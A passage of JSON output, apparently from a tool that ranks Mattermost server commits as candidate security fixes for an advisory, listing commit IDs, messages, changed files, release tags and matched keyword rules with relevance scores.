"e990b1c1c86779060e980955746a79f693f2835c" - ], - [ - "no-tag", - "704fa1917edd3156cb069f490a91f99a0c16513c" - ] - ], - "tags": [ - "v9.10.1", - "v9.10.1-rc1", - "v9.10.1-rc2", - "v9.10.1-rc3", - "v9.10.2", - "v9.10.2-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: console, system", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: role, test", - "relevance": 4 - }, - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27395, 27599", - "relevance": 2 - }, - { - "id": "COMMIT_IS_SECURITY_RELEVANT", - "message": "", - "relevance": 32 - } - ] - }, - { - "commit_id": "d71e5e4f4ef05c336e27219c92c2599853f99abe", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1721172820, - "hunks": 21, - "message": "MM-57354: Fix elastic search e2e tests (#27670)", - "changed_files": [ - "e2e-tests/cypress/tests/integration/channels/autocomplete/helpers.ts", - "e2e-tests/cypress/tests/integration/channels/collapsed_reply_threads/crt_settings_spec.js", - "e2e-tests/cypress/tests/integration/channels/collapsed_reply_threads/global_threads_spec.js", - "e2e-tests/cypress/tests/integration/channels/collapsed_reply_threads/replies_spec.js", - "e2e-tests/cypress/tests/integration/channels/collapsed_reply_threads/unread_spec.js", - "e2e-tests/cypress/tests/integration/channels/enterprise/elasticsearch_autocomplete/helpers/index.js", - "e2e-tests/cypress/tests/integration/channels/enterprise/elasticsearch_autocomplete/system_console_spec.js", - "e2e-tests/cypress/tests/support/ui/post_dropdown_menu.js", - "e2e-tests/cypress/tests/support/ui/sidebar_left.ts" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27670": "Automated cherry pick of #27670 #27799" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: ElasticSearch", - "relevance": 8 - }, - { - "id": "CHANGES_RELEVANT_FILES", - "message": "The commit changes some relevant files: e2e-tests/cypress/tests/integration/channels/enterprise/elasticsearch_autocomplete/helpers/index.js, e2e-tests/cypress/tests/integration/channels/enterprise/elasticsearch_autocomplete/system_console_spec.js", - "relevance": 8 - }, - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: test", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: elasticsearch, console, test, system", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27670", - "relevance": 2 - } - ] - }, - { - "commit_id": "b25820b5c56ff7b62ff60d01e085a4fce1ebbc52", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1721203654, - "hunks": 9, - "message": "Added a bunch of debugging logs for Elasticsearch index check (#27678) * Added a bunch of debugging logs for Elasticsearch index check * Update server/channels/app/elasticsearch.go --------- Co-authored-by: Harrison Healey ", - "changed_files": [ - "server/channels/app/elasticsearch.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27678": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_FILES", - "message": "The commit changes some relevant files: server/channels/app/elasticsearch.go", - "relevance": 8 - }, - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: elasticsearch", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: elasticsearch", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27678", - "relevance": 2 - } - ] - }, - { - "commit_id": "d44c3d5d45a3f865244178b322dbd0b8576f1316", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1721055123, - "hunks": 114, - "message": "Replace Hard-coded HTTP Verbs with Constants (#27219) * Replace hard-coded HTTP verbs with constants in `net/http`", - "changed_files": [ - "server/channels/api4/bleve.go", - "server/channels/api4/bot.go", - "server/channels/api4/bot_local.go", - "server/channels/api4/brand.go", - "server/channels/api4/channel.go", - "server/channels/api4/channel_bookmark.go", - "server/channels/api4/channel_local.go", - "server/channels/api4/cloud.go", - "server/channels/api4/cluster.go", - "server/channels/api4/command.go", - "server/channels/api4/command_local.go", - "server/channels/api4/compliance.go", - "server/channels/api4/config.go", - "server/channels/api4/config_local.go", - "server/channels/api4/data_retention.go", - "server/channels/api4/drafts.go", - "server/channels/api4/elasticsearch.go", - "server/channels/api4/emoji.go", - "server/channels/api4/export.go", - "server/channels/api4/export_local.go", - "server/channels/api4/file.go", - "server/channels/api4/group.go", - "server/channels/api4/group_local.go", - "server/channels/api4/hosted_customer.go", - "server/channels/api4/image.go", - "server/channels/api4/import.go", - "server/channels/api4/import_local.go", - "server/channels/api4/integration_action.go", - "server/channels/api4/ip_filtering.go", - "server/channels/api4/job.go", - "server/channels/api4/job_local.go", - "server/channels/api4/ldap.go", - "server/channels/api4/ldap_local.go", - "server/channels/api4/license.go", - "server/channels/api4/license_local.go", - "server/channels/api4/limits.go", - "server/channels/api4/metrics.go", - "server/channels/api4/oauth.go", - "server/channels/api4/outgoing_oauth_connection.go", - "server/channels/api4/permission.go", - "server/channels/api4/plugin.go", - "server/channels/api4/plugin_local.go", - "server/channels/api4/post.go", - "server/channels/api4/post_local.go", - "server/channels/api4/preference.go", - "server/channels/api4/reaction.go", - "server/channels/api4/remote_cluster.go", - "server/channels/api4/report.go", - "server/channels/api4/role.go", - "server/channels/api4/role_local.go", - "server/channels/api4/saml.go", - "server/channels/api4/scheme.go", - "server/channels/api4/shared_channel.go", - "server/channels/api4/status.go", - "server/channels/api4/system.go", - "server/channels/api4/system_local.go", - "server/channels/api4/team.go", - "server/channels/api4/team_local.go", - "server/channels/api4/terms_of_service.go", - "server/channels/api4/upload.go", - "server/channels/api4/upload_local.go", - "server/channels/api4/usage.go", - "server/channels/api4/user.go", - "server/channels/api4/user_local.go", - "server/channels/api4/webhook.go", - "server/channels/api4/webhook_local.go", - "server/channels/api4/websocket.go", - "server/channels/manualtesting/manual_testing.go", - "server/channels/web/oauth.go", - "server/channels/web/saml.go", - "server/channels/web/static.go", - "server/channels/web/webhook.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27219": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_FILES", - "message": "The commit changes some relevant files: server/channels/api4/elasticsearch.go", - "relevance": 8 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: limit, role, elasticsearch, system, file, test, connection", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27219", - "relevance": 2 - } - ] - }, - { - "commit_id": "2e4be7a5fb8782c0235f598caf6e56e1c6c2ec81", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1721046459, - "hunks": 1, - "message": "Update Copilot plugin prepackaged version to 0.8.3 (#27645) (#27657) (cherry picked from commit fa8269e4ab0c9e2986ef3dd505363a3bc5ab8a52) Co-authored-by: Christopher Speller ", - "changed_files": [ - "server/Makefile" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27645": "Automated cherry pick of #27645 #27657 Automated cherry pick of #27645 #27658", - "27657": "" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "fa8269e4ab0c9e2986ef3dd505363a3bc5ab8a52" - ], - [ - "no-tag", - "3e1d32cb68e93a768514eace57a6217e3350edc5" - ] - ], - "tags": [ - "v9.10.1", - "v9.10.1-rc2", - "v9.10.1-rc3", - "v9.10.2", - "v9.10.2-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: version", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: file", - "relevance": 4 - }, - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27645, 27657", - "relevance": 2 - } - ] - }, - { - "commit_id": "b9c444c533777e775b27d5c27efaa9ab8d2bc42b", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720182470, - "hunks": 21, - "message": "MM-58525 Fix upload file permissions (#27298) (#27533) Automatic Merge", - "changed_files": [ - "server/channels/db/migrations/migrations.list", - "server/channels/db/migrations/mysql/000123_remove_upload_file_permission.down.sql", - "server/channels/db/migrations/mysql/000123_remove_upload_file_permission.up.sql", - "server/channels/db/migrations/postgres/000123_remove_upload_file_permission.down.sql", - "server/channels/db/migrations/postgres/000123_remove_upload_file_permission.up.sql", - "webapp/channels/src/components/admin_console/permission_schemes_settings/guest_permissions_tree/__snapshots__/guest_permissions_tree.test.tsx.snap", - "webapp/channels/src/components/admin_console/permission_schemes_settings/guest_permissions_tree/guest_permissions_tree.tsx", - "webapp/channels/src/components/admin_console/permission_schemes_settings/permissions_tree/__snapshots__/permissions_tree.test.tsx.snap", - "webapp/channels/src/components/admin_console/permission_schemes_settings/permissions_tree/permissions_tree.tsx" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27298": "", - "27533": "" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "ea78382fd246a2c4723ce3377bc301f112ea3a84" - ], - [ - "no-tag", - "6147c51cd2df1cb9138563cf53d70f0bf9d7996e" - ], - [ - "no-tag", - "06249d99072a9efed255aa4e6b9c40d837e045a1" - ] - ], - "tags": [ - "v9.5.8", - "v9.5.8-rc1", - "v9.5.8-rc2", - "v9.5.9", - "v9.5.9-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: file", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: console, file, test", - "relevance": 4 - }, - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27298, 27533", - "relevance": 2 - } - ] - }, - { - "commit_id": "8e5d3961105417401b90d26c5f8c73fecf5df1a4", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1719944870, - "hunks": 8, - "message": "Sanitize RemoteEmail user prop (#27170) (#27514) Automatic Merge", - "changed_files": [ - "server/platform/services/sharedchannel/service.go", - "server/platform/services/sharedchannel/sync_recv.go", - "server/platform/services/sharedchannel/util.go", - "server/public/model/shared_channel.go", - "server/public/model/user.go", - "server/public/model/user_test.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27170": "Automated cherry pick of #27170 #27512 Automated cherry pick of #27170 #27513 Automated cherry pick of #27170 #27514 Automated cherry pick of #27170 #27515 Automated cherry pick of #27170 #27516", - "27514": "" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "81f1e384ea58f224d5672a8c94df451a75dd3cbc" - ] - ], - "tags": [ - "v9.8.3", - "v9.8.3-rc1", - "v9.8.3-rc2" - ], - "matched_rules": [ - { - "id": "SEC_KEYWORDS_IN_MESSAGE", - "message": "The commit message contains some security-related keywords: sanitize", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27170, 27514", - "relevance": 2 - } - ] - }, - { - "commit_id": "be94c47607b156c31cb5906670479a95ab806f0f", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1721233473, - "hunks": 48, - "message": "[MM-57418] Implement support for defining plugin settings sections (#27654) * Implement support for defining plugin settings sections * Implement custom plugin configuration sections * Tests * Update test * Improvements", - "changed_files": [ - "server/public/model/manifest.go", - "server/public/model/manifest_test.go", - "webapp/channels/src/actions/admin_actions.jsx", - "webapp/channels/src/actions/admin_actions.test.js", - "webapp/channels/src/components/admin_console/admin_definition.tsx", - "webapp/channels/src/components/admin_console/custom_plugin_settings/custom_plugin_settings.test.tsx", - "webapp/channels/src/components/admin_console/custom_plugin_settings/index.ts", - "webapp/channels/src/components/admin_console/schema_admin_settings.tsx", - "webapp/channels/src/components/admin_console/types.ts", - "webapp/channels/src/i18n/en.json", - "webapp/channels/src/plugins/registry.ts", - "webapp/channels/src/reducers/plugins/index.test.ts", - "webapp/channels/src/reducers/plugins/index.ts", - "webapp/channels/src/selectors/admin_console.jsx", - "webapp/channels/src/types/store/plugins.ts", - "webapp/channels/src/utils/constants.tsx", - "webapp/platform/types/src/plugins.ts" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27654": "[MM-57418] System console config page review mattermost/mattermost-plugin-calls#815" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: configuration, test", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: console, test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27654", - "relevance": 2 - } - ] - }, - { - "commit_id": "9304c404dfe4c5b1465a13aa831e6b413688853f", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1721221327, - "hunks": 23, - "message": "MM-58756: paginate webhooks list (#27368) * MM-58756: paginate webhooks list * show error if webhook list fails", - "changed_files": [ - "server/cmd/mmctl/commands/webhook.go", - "server/cmd/mmctl/commands/webhook_test.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27368": "Use paged requests to request the list of webhooks in mmctl #26663" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: fail", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27368", - "relevance": 2 - } - ] - }, - { - "commit_id": "43355fe32a953e8b7aa82a9c4cd024311665c098", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1721154483, - "hunks": 7, - "message": "MM-58847 Sanitize User (#27471) (#27686) Automatic Merge", - "changed_files": [ - "api/v4/source/users.yaml", - "server/channels/api4/user_test.go", - "server/public/model/user.go", - "server/public/model/user_test.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27471": "Automated cherry pick of #27471 #27682 Automated cherry pick of #27471 #27683 Automated cherry pick of #27471 #27684 Automated cherry pick of #27471 #27685 Automated cherry pick of #27471 #27686", - "27686": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "v9.5.8", - "v9.5.8-rc2", - "v9.5.9", - "v9.5.9-rc1" - ], - "matched_rules": [ - { - "id": "SEC_KEYWORDS_IN_MESSAGE", - "message": "The commit message contains some security-related keywords: sanitize", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27471, 27686", - "relevance": 2 - } - ] - }, - { - "commit_id": "cd60532e9a41cbc2150e7747308f9bb08aa61f15", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1721154480, - "hunks": 7, - "message": "MM-58847 Sanitize User (#27471) (#27685) Automatic Merge", - "changed_files": [ - "api/v4/source/users.yaml", - "server/channels/api4/user_test.go", - "server/public/model/user.go", - "server/public/model/user_test.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27471": "Automated cherry pick of #27471 #27682 Automated cherry pick of #27471 #27683 Automated cherry pick of #27471 #27684 Automated cherry pick of #27471 #27685 Automated cherry pick of #27471 #27686", - "27685": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "v9.8.3", - "v9.8.3-rc2" - ], - "matched_rules": [ - { - "id": "SEC_KEYWORDS_IN_MESSAGE", - "message": "The commit message contains some security-related keywords: sanitize", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27471, 27685", - "relevance": 2 - } - ] - }, - { - "commit_id": "7bbf7ec130487af9a324040259b2e942d7b9ba3c", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1721154476, - "hunks": 7, - "message": "MM-58847 Sanitize User (#27471) (#27684) Automatic Merge", - "changed_files": [ - "api/v4/source/users.yaml", - "server/channels/api4/user_test.go", - "server/public/model/user.go", - "server/public/model/user_test.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27471": "Automated cherry pick of #27471 #27682 Automated cherry pick of #27471 #27683 Automated cherry pick of #27471 #27684 Automated cherry pick of #27471 #27685 Automated cherry pick of #27471 #27686", - "27684": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "v9.9.2", - "v9.9.2-rc2", - "v9.9.3", - "v9.9.3-rc1" - ], - "matched_rules": [ - { - "id": "SEC_KEYWORDS_IN_MESSAGE", - "message": "The commit message contains some security-related keywords: sanitize", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27471, 27684", - "relevance": 2 - } - ] - }, - { - "commit_id": "a9982ea873ce9209be73f29ad579709e3ecc89ec", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1721154473, - "hunks": 7, - "message": "MM-58847 Sanitize User (#27471) (#27683) Automatic Merge", - "changed_files": [ - "api/v4/source/users.yaml", - "server/channels/api4/user_test.go", - "server/public/model/user.go", - "server/public/model/user_test.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27471": "Automated cherry pick of #27471 #27682 Automated cherry pick of #27471 #27683 Automated cherry pick of #27471 #27684 Automated cherry pick of #27471 #27685 Automated cherry pick of #27471 #27686", - "27683": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "v9.10.1", - "v9.10.1-rc2", - "v9.10.1-rc3", - "v9.10.2", - "v9.10.2-rc1" - ], - "matched_rules": [ - { - "id": "SEC_KEYWORDS_IN_MESSAGE", - "message": "The commit message contains some security-related keywords: sanitize", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27471, 27683", - "relevance": 2 - } - ] - }, - { - "commit_id": "0b9461fc4b95169acfe0b643a57ac5497389f880", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1721154470, - "hunks": 7, - "message": "MM-58847 Sanitize User (#27471) (#27682) Automatic Merge", - "changed_files": [ - "api/v4/source/users.yaml", - "server/channels/api4/user_test.go", - "server/public/model/user.go", - "server/public/model/user_test.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27471": "Automated cherry pick of #27471 #27682 Automated cherry pick of #27471 #27683 Automated cherry pick of #27471 #27684 Automated cherry pick of #27471 #27685 Automated cherry pick of #27471 #27686", - "27682": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "SEC_KEYWORDS_IN_MESSAGE", - "message": "The commit message contains some security-related keywords: sanitize", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27471, 27682", - "relevance": 2 - } - ] - }, - { - "commit_id": "e917709be58573b3f55d7aa99bbead8a3c667081", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1721142600, - "hunks": 2, - "message": "feat(e2e): Manage User Settings e2e tests (#27618)", - "changed_files": [ - "e2e-tests/cypress/tests/integration/channels/enterprise/system_console/user_management/user_management_admin_control_spec.js", - "e2e-tests/cypress/tests/integration/channels/system_console/user_management_spec.js" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27618": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: test", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: console, test, system", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27618", - "relevance": 2 - } - ] - }, - { - "commit_id": "e05ec0efc330c3e763157a65eaff11cbf300bf97", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1721140602, - "hunks": 9, - "message": "Fix E2E test triggering (#27669) Co-authored-by: Mattermost Build ", - "changed_files": [ - ".github/workflows/e2e-fulltests-ci.yml", - ".github/workflows/e2e-tests-ci.yml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27669": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: test", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27669", - "relevance": 2 - } - ] - }, - { - "commit_id": "a272fb29a5b00e80b05f4de8209e50ef467f4d85", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1721038454, - "hunks": 159, - "message": "Unify advanced create post and advanced create comment (#26419) * Unify advanced create post and advanced create comment * Re-add focus on mount prop and fix minor selector issue with get draft * Address feedback * Some merge fixes and some comments addressed * Remove tests * Fix tests * Address feedback * Fix formatting bar spacer and minor refactoring * Fix remove upload from clean draft issue * Fix types --------- Co-authored-by: Mattermost Build ", - "changed_files": [ - "webapp/channels/src/actions/views/create_comment.test.jsx", - "webapp/channels/src/actions/views/create_comment.tsx", - "webapp/channels/src/actions/views/drafts.ts", - "webapp/channels/src/components/advanced_create_comment/__snapshots__/advanced_create_comment.test.tsx.snap", - "webapp/channels/src/components/advanced_create_comment/advanced_create_comment.test.tsx", - "webapp/channels/src/components/advanced_create_comment/advanced_create_comment.tsx", - "webapp/channels/src/components/advanced_create_comment/index.ts", - "webapp/channels/src/components/advanced_create_post/__snapshots__/advanced_create_post.test.tsx.snap", - "webapp/channels/src/components/advanced_create_post/advanced_create_post.test.tsx", - "webapp/channels/src/components/advanced_create_post/advanced_create_post.tsx", - "webapp/channels/src/components/advanced_create_post/index.ts", - "webapp/channels/src/components/advanced_create_post/prewritten_chips.tsx", - "webapp/channels/src/components/advanced_text_editor/advanced_text_editor.test.tsx", - "webapp/channels/src/components/advanced_text_editor/advanced_text_editor.tsx", - "webapp/channels/src/components/advanced_text_editor/priority_labels.tsx", - "webapp/channels/src/components/advanced_text_editor/remote_user_hour.tsx", - "webapp/channels/src/components/advanced_text_editor/use_emoji_picker.tsx", - "webapp/channels/src/components/advanced_text_editor/use_groups.tsx", - "webapp/channels/src/components/advanced_text_editor/use_key_handler.tsx", - "webapp/channels/src/components/advanced_text_editor/use_orientation_handler.tsx", - "webapp/channels/src/components/advanced_text_editor/use_plugin_items.tsx", - "webapp/channels/src/components/advanced_text_editor/use_priority.tsx", - "webapp/channels/src/components/advanced_text_editor/use_submit.tsx", - "webapp/channels/src/components/advanced_text_editor/use_textbox_focus.tsx", - "webapp/channels/src/components/advanced_text_editor/use_upload_files.tsx", - "webapp/channels/src/components/analytics/team_analytics/index.ts", - "webapp/channels/src/components/channel_view/__snapshots__/channel_view.test.tsx.snap", - "webapp/channels/src/components/channel_view/channel_view.tsx", - "webapp/channels/src/components/common/chip/chip.tsx", - "webapp/channels/src/components/drafts/panel/panel_body.tsx", - "webapp/channels/src/components/threading/virtualized_thread_viewer/create_comment.tsx", - "webapp/channels/src/components/threading/virtualized_thread_viewer/virtualized_thread_viewer.tsx", - "webapp/channels/src/components/tours/onboarding_tour/send_message_tour_tip.tsx", - "webapp/channels/src/i18n/en.json", - "webapp/channels/src/packages/mattermost-redux/src/selectors/entities/posts.test.ts", - "webapp/channels/src/packages/mattermost-redux/src/selectors/entities/posts.ts", - "webapp/channels/src/selectors/rhs.ts", - "webapp/channels/src/selectors/storage.ts", - "webapp/channels/src/utils/post_utils.ts", - "webapp/channels/src/utils/utils.tsx" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "26419": "Not able to Page Up/Down in the center panel #26120 Refactor Create Post / Create Comment #24261 Fix drafts not being synced with the server #27725 Fix edit last message #27739 Migrate Createpost to v10 version mattermost/mattermost-plugin-ai#225" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: test", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: file, test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 26419", - "relevance": 2 - } - ] - }, - { - "commit_id": "87d983cc7ffd87c26a9a219047684847c9663c29", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720759924, - "hunks": 241, - "message": "Sysadmin manage user settings (#27583) * Opened modal from system console * WIP * WIP * WIP * Handled saving user * Successfully updated user based settings * WIP * WIP * All settings are updating well * Fixed modal style * Added admin mode indicators in modal * Added confirmation dialog * Lint fixes * Added license check * Added permission check * Fixed i18n file order * type fix * Updated snapshots * Handled performance debugging setting * Some styling tweaks * Fixed text alighnment * Updated license required from professional to enterprise * Handled long user names * review fixes * Added manage setting option in user list page context menu * Added loader * Minor reordering * Removed confirm modal * Updated snapshots for removed modal * Added some tests * Lint fix * Used new selector in user detail page * Used new selector in user list page * Updated tests * Fixed an incorrect default test", - "changed_files": [ - "server/channels/api4/report.go", - "server/channels/app/user.go", - "server/channels/app/users/utils.go", - "server/channels/store/sqlstore/post_store.go", - "server/public/model/report.go", - "server/public/model/user.go", - "server/public/model/user_test.go", - "webapp/channels/src/components/admin_console/admin_user_card/admin_user_card.scss", - "webapp/channels/src/components/admin_console/system_user_detail/__snapshots__/system_user_detail.test.tsx.snap", - "webapp/channels/src/components/admin_console/system_user_detail/index.ts", - "webapp/channels/src/components/admin_console/system_user_detail/system_user_detail.scss", - "webapp/channels/src/components/admin_console/system_user_detail/system_user_detail.test.tsx", - "webapp/channels/src/components/admin_console/system_user_detail/system_user_detail.tsx", - "webapp/channels/src/components/admin_console/system_users/system_users_list_actions/confirmManageUserSettingsModal.tsx", - "webapp/channels/src/components/admin_console/system_users/system_users_list_actions/index.tsx", - "webapp/channels/src/components/confirm_modal_redux/confirm_modal_redux.tsx", - "webapp/channels/src/components/user_settings/advanced/index.ts", - "webapp/channels/src/components/user_settings/advanced/join_leave_section/index.ts", - "webapp/channels/src/components/user_settings/advanced/join_leave_section/join_leave_section.test.tsx", - "webapp/channels/src/components/user_settings/advanced/join_leave_section/join_leave_section.tsx", - "webapp/channels/src/components/user_settings/advanced/performance_debugging_section/index.ts", - "webapp/channels/src/components/user_settings/advanced/performance_debugging_section/performance_debugging_section.tsx", - "webapp/channels/src/components/user_settings/advanced/user_settings_advanced.tsx", - "webapp/channels/src/components/user_settings/display/__snapshots__/user_settings_display.test.tsx.snap", - "webapp/channels/src/components/user_settings/display/index.ts", - "webapp/channels/src/components/user_settings/display/manage_languages/index.ts", - "webapp/channels/src/components/user_settings/display/manage_languages/manage_languages.test.tsx", - "webapp/channels/src/components/user_settings/display/manage_languages/manage_languages.tsx", - "webapp/channels/src/components/user_settings/display/manage_timezones/index.ts", - "webapp/channels/src/components/user_settings/display/manage_timezones/manage_timezones.test.tsx", - 